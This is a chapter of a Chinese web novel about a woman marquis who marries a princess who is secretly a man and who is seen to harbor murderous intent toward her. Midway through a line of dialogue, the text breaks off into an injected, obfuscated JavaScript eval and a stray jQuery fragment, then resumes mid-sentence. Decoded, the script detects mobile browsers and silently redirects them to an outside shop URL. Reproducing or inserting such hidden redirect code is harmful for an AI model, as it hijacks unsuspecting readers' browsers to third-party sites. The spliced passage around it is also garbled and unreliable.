一晃眼,开春之际,宋佑安也迎来了她的大喜之日。
宋佑安换上大红喜服,站在府门口,街边站满了人,她在满街注视中利落的翻身上马。
秦柊跟在后面,转角口低声说:“侯爷,公主那边已经准备好了。”
她“嗯”了一声,嘴角带着笑,催马往前走。
街上的议论声不小,熙熙攘攘的,勉强能听见几句。
“武安侯真是少年英才”
“听说三公主生得极好,可惜没见过”
这些声音落在宋佑安耳朵里,她心底里也开始好奇,三公主长得到底有多好看。
这婚却不是她主动求娶,但今天的她比任何时刻都意气风发,脸上骄傲的神情藏都藏不住。
一道强烈的目光引起了她的注意,转头向一旁望去,一个五六岁的姑娘紧紧盯着她。
宋佑安看着那姑娘笑了一下,小姑娘看见后,脸红一瞬,急忙躲到母亲身后偷偷看她。
看这场景,宋佑安轻微笑了一下,又继续往目的地走。
快见到三公主之前,她心里竟也不免升起一丝紧张。
……
温亦之坐在铜镜前,头冠已经戴好了,宫女替他理好裙摆,退到门外。
他从镜子里看到自己——盛大的红妆、长裙、眉心点了朱砂,和这十七年里每一次盛装一样。
铜镜里的人,美艳至极,长得雌雄莫辨。
好看归好看,但脸上的神情却冷漠至极,好似近日大婚的不是他。
殿门外,众嫔妃站在院子里。
皇后和宸贵妃站在最前面,宸贵妃早已红了眼眶,手里紧紧握着手帕。
看到他缓慢走出来。
看着他大婚的装扮,宸贵妃心里五味杂陈,感慨命运是非多,爱捉弄人。
两人相顾无言,宸贵妃握着温亦之的手,久久说不出话。
太监尖锐的嗓音响起:“侯爷亲自来接公主,请各位娘娘移步。”
……
几日前,皇帝就下旨封温亦之为毓秀公主,封号还是在内务府挑选了很久才决定的。
皇帝和宸贵妃站在一起,其余妃嫔?站在一旁。
皇后看着两人站在一起时的身影,虽早知会如此,但心里还是难免有些难受。
轿子摇摇晃晃,温亦之坐在里面,思绪飘得很远。
往后他的余生,便如这顶狭窄又华丽的轿子。
在未发现他是男儿身之前,他就像个花瓶一样,会永远的困在那四方天地。
就像是笼中永远飞不出去的鸟,被折断翅膀,锁在那华丽的鸟笼里。
轿子稳稳地停在武安侯府,众人聚在侯府门口,想目睹三公主芳容。
一双修长又带着些茧子的手,从帘子里伸进来,温和的声音在帘门外响起:“公主,到侯府了。”
心里的烦躁,好似被一手掌抚平。
温亦之犹豫再三,还是把手放到那双手上,手被稳稳的接住。
隔着头盖,他看到了他名义上“夫君”的面容。
生得唇红齿白,虽少了些男子该有的英气,但比寻常儿郎长得顺眼些。
府门口的门槛上放着一火盆,温亦之刚准备跨过去。
便听身旁的人开口:“礼节上,我应该抱您过去。”
说完便转身看向,比自己高几个头的温亦之,动作轻柔的把他抱起来,稳稳地跨过火盆。
风起吹动头帘,露出温亦之地下半张脸。
果然是个美人。
虽比寻常女子重了点,但这也恰恰说明公主圣体体格好。
仪式结束后,温亦之在贴身婢女的搀扶下回了院落。
宋佑安则留下来照顾前院的宾客,宋佑安酒量不是很行,果然喝到一半就已经有些晕乎乎了。
回到院落时,表面上虽是清醒,但实际上已经喝多了。
温亦之有些紧张的抓着自己的袖口,心里无端的升起,一种莫名的情感。
宋佑安掀开盖头,看着对方的脸,顿时就顿住了。
好看!实在是太好看了!
宋佑安脑子已经放起了烟花,看着对方的脸,痴痴地盯着他。
温亦之看着她这样子,有些好笑的开口:“好看吗?”
宋佑安也不思索,立马就脱口而出:“好看,我娘子是全京城最好看的人!”
留她一命……好像也不错。
……
宋佑安最后的记忆,停留在昨晚被秦柊扶着到后院的时候。
身旁没有人躺过的痕迹。
等她收拾好到前院时,便看到温亦之换了一身装扮,此刻正面色严厉的给众人立规矩。
宋佑安定定的看着他的侧脸,脑海里想“月白色很衬他。”
温亦之侧眸看到她,站起身行了一礼,走到她身边轻声开口:“早膳已经叫人备好了,侯爷是否留下来一起用膳?”
宋佑安咳了一声:“公主都开口挽留了,我不留下来,岂不废了公主的一片好心。”
苏兰在心里翻了个白眼:‘公主哪里开口挽留了,这些都是客套话而已。’
温亦之发自真心的笑了笑,两人便一同坐在餐桌前准备用膳。
吃到一半,宋佑安突然想起,在话本子里看过的一些促进情感的技巧。
便主动给温亦之夹了个菜,看着碗里出现的菜,温亦之愣了愣。
宋佑安安喝了一口粥,清了清嗓子:“公主多吃点,您太瘦了点。”
此话一出,气氛顿时变得有些安静。
下人们心里同时生出一个疑问“公主太瘦了点???”
放眼整个京城,也没哪个女子像公主这般身高八尺,又强壮。
向来也只有驸马爷才会如此的想,不愧是情人眼里出西施。
用完早膳,两人又寒暄了几句。
宋佑安便去忙事务了,虽然现下蛮夷暂时打退,但凭借蛮夷人的性子,必定还会卷土重来。
上午去阅兵,看看近两月的训练成果,下午去照顾养在东南别院的弟弟。
回去的路上,走到一半,宋佑安突然要求秦柊回头到东街巷子口。
秦柊虽然不解,但还是听从自家侯爷的命令。
东街巷子口有一家糕点铺子,里面的芙蓉糕是出了名的难买。
宋佑安足足排了一个时辰的队伍,才好不容易抢到。
回到府里时,下人早已安排好晚膳,只等宋佑安回来和温亦之一同用膳。
宋佑安今日身着一件绛青色锦袍,手里握着从东街巷子口买来的糕点,脸上的神情,既有高兴,又有一点点傲娇。
宋佑安把糕点放在温亦之面前:“偶然路过东街巷子口,听闻那家店的芙蓉糕好吃,便顺手买了给你尝尝。”
刚准备回去的秦柊听闻:“……”
不是您特意回去买的吗?他家侯爷,真是越来越不对劲了。
温亦之看向眼前的芙蓉糕,眼里闪过一丝惊讶:“多谢候爷。”
“听说淮南那边的风景不错,我下月要去淮南查一件事情,公主可要一同前往?”
“侯爷是去办事,我一同前往,不知会不会为侯爷造成麻烦。”
“不会,那就这么说定了。”
两人虽早已大婚,但并非两情相悦,因此一连好几天,宋佑安都一直歇在书房。
秦柊每天早上去送热水的时候,都能看见她坐在案前翻卷宗。
军报、田册、兵部发来的文书,该批的都批了,不该批的原路还回去。
这么长时间过去了,但她就是没回主院,因此府里传出了不少谣言。
“侯爷不行”
“公主不讨侯爷喜欢”
秦柊忍了三天,第四天早上终于没忍住:“侯爷,公主那边已经备好早膳了。”
宋佑安头也没抬:“知道了。”
秦柊没走,就那么直愣愣的站在一旁。
宋佑安终于抬起头:“你还有事?”
“属下是想问……侯爷在躲什么?”
宋佑安把笔放下了,看了他一眼:“公主殿下身娇体弱,我每夜忙碌的那么晚回去,怕把寒气传给他,就不回主院了。”
秦柊:“……属下是真没看出公主殿下…身娇体弱。整个京城,怕也只有侯爷这么认为。”
宋佑安转了一下手里的笔:“我看你就是太闲了,去看看那群小兔崽子今日的训练成果。”
秦柊沉默了片刻:“侯爷,婚已经结了。您躲得了初一,躲不了十五。”
宋佑安扬了扬下巴:“知道了知道了,去去去。”
……
走进主院的时候,温亦之正在给窗台那盆兰草浇水。
他已经换了一身常服,月白色的长衫,袖口拢着,露出一截小臂,不似寻常女子的手,倒像是……男子的手。
听见脚步声没有回头,只侧了一下脸:“侯爷今日来得早。”
宋佑安在门口站了两步,才迈进去:“嗯,今天没什么事。得了空,就来陪你一起用膳。”
餐桌上的气氛一如往常一般,尴尬又冷清。
温亦之替她盛了一碗粥,放在她面前。
宋佑安低头看了看碗里的粥,又看了看温亦之,他脸上的表情还是一如往常的冷漠。
“这碗粥做的挺好吃的,侯爷尝尝。”
今日心情好像变好了点。
看温亦之被盯得有些不自在,宋佑安赶紧低头喝了一口粥。
她忽然觉得这个人坐在她旁边吃饭的样子,比话本里写的那些“美人煮茶”要好看得多。
“公主以前……喜欢吃甜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914369|213265||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的吗?”她没头没尾地问了一句。
温亦之抬眼看了她一下:“还好。”
宋佑安指了指桌上那碟酥饼:“这个不太甜,适合你。”
温亦之低头看了一眼自己掰了一半的酥饼,嘴角几不可见地动了一下:“侯爷观察得倒是仔细。”
宋佑安被这一句噎住了。
她低下头假装喝粥,耳朵根却有点发烫。
早膳用完后,温亦之起身准备回去歇息。
宋永安看着他宽阔的肩膀和不足寻常女子,一般的身高,还有刚刚那件露出来的手臂。
她忽然想起那天掀盖头的时候,她握住他的手,指腹擦过他的掌心,是一层薄茧。
宋佑安心里刚生出一丝荒唐的念头,便赶忙被她给压了下去。
公主只不过是有些体态修长而已。
……
下午她去了一趟东南别院,弟弟宋佑平的情况比前几日稍有好转,但仍不能下地走动。
宋佑安在旁边坐了一个时辰,在他耳旁讲了,这几个月来经常发生的趣事。
最后替他把被角掖了掖,然后回了侯府。
临进府门的时候,她看见院墙边上停了一辆不熟悉的马车。
秦柊上前问了一句,回来禀报说:“是长秋宫的人。宸贵妃给公主送了些东西。”
宋佑安点了点头,没有过去打扰。
她绕到后门进去,在廊下站了一会儿,正好看见温亦之从内院走出来送客。
他站在门廊下和一个嬷嬷说了几句话,脸上带着浅淡的、不失礼数的笑意。
那份笑意眼不见底,就好似他这个人窥探不到真面目。
温亦之目送马车离开后,转过身来,正好看见了站在廊柱旁边的宋佑安。
他脸上的神情又恢复了往日的冷漠,平淡的说了一句:“侯爷今日回来得早。”
“嗯。”
宋佑安从廊柱后面走出来,“军务处理完了,没什么事。”
温亦之没有再问,只是侧身让了让:“晚膳已经备好了,来了,那就一同用膳吧。”
两人一前一后进了内堂。
膳桌上摆了三菜一汤,比寻常家常菜略丰盛些。宋佑安坐下来的时候,看见自己那副碗筷已经摆好了,碗底还垫着一块素色的帕子,是她前天无意中提过一句“垫个帕子不容易烫手”。
她心里说不上是什么感受,看了几秒后,拿起碗筷开始用膳。
吃到一半,她忽然开口:“下月去淮南,坐船去,路上可能要走上七八天。你要是嫌闷,可以带几本书路上看。”
温亦之夹菜的动作顿了一下:“侯爷真愿意带我一同去?”
“我说好了的,自然不会改。”
温亦之没有再说什么,只是微微低了低头,像是点头,又像是在掩饰什么。
宋佑安没有追问,反正她问了,也得不到她想要的答案。
她低头吃饭,但余光里扫到他低头的时候,嘴角的弧度比刚才吃饭时明显了一点点。
公主殿下其实也没那么冷冰冰。
吃完晚膳后,宋佑安原本想去书房,走到院子门口时,脚步慢了下来。
秦柊跟在她身后,有一些不解的看着她,只是看见她站在那里停了将近十息,然后转身走回了主院的方向。
温亦之正在灯下翻一本书,听见脚步声抬起头,看见她站在门口,脸上没有什么表情,就那么站在门槛上。
他合上书:“今晚不走了?”
宋佑安嗯了一声:“今晚不走。”
宋佑安躺在另一旁的塌上,吹灭烛火后,两人躺在黑夜里。
安静的,似乎只能听见自己的心跳声。
过了一会儿,宋佑安的声音响起来,压得很低:“你手上有茧。”
温亦之没有动,但呼吸停了一瞬,眼里生出杀意。
“习武的人才会在掌心那个位置长出那样的茧。”
宋佑安的声音很轻,像是怕惊到什么,“公主,您练过武吗?”
沉默在黑暗里拉得很长。
温亦之没有否认,也没有承认。
安静持续了很久,久到宋佑安以为他睡着了,他的声音才响起来,比她想像的平静:“侯爷想听真话,还是想听谎话?”
宋佑安翻了个身面朝他躺的方向:“你会说真话吗?”
“侯爷若是想听,我自会说。”
又等了一会儿,他的声音再次响起来:“侯爷,您手上也有茧。”
宋佑安在黑暗里无声地笑了笑:“我一介武将,手上没有茧,那才不对吧。”
她翻回身面朝帐顶,闭着眼睛说:“睡觉,明天再说。”
一切又归万籁寂静。
黑夜中,温亦之睁开双眼,盯着窗外,不知在密谋些什么。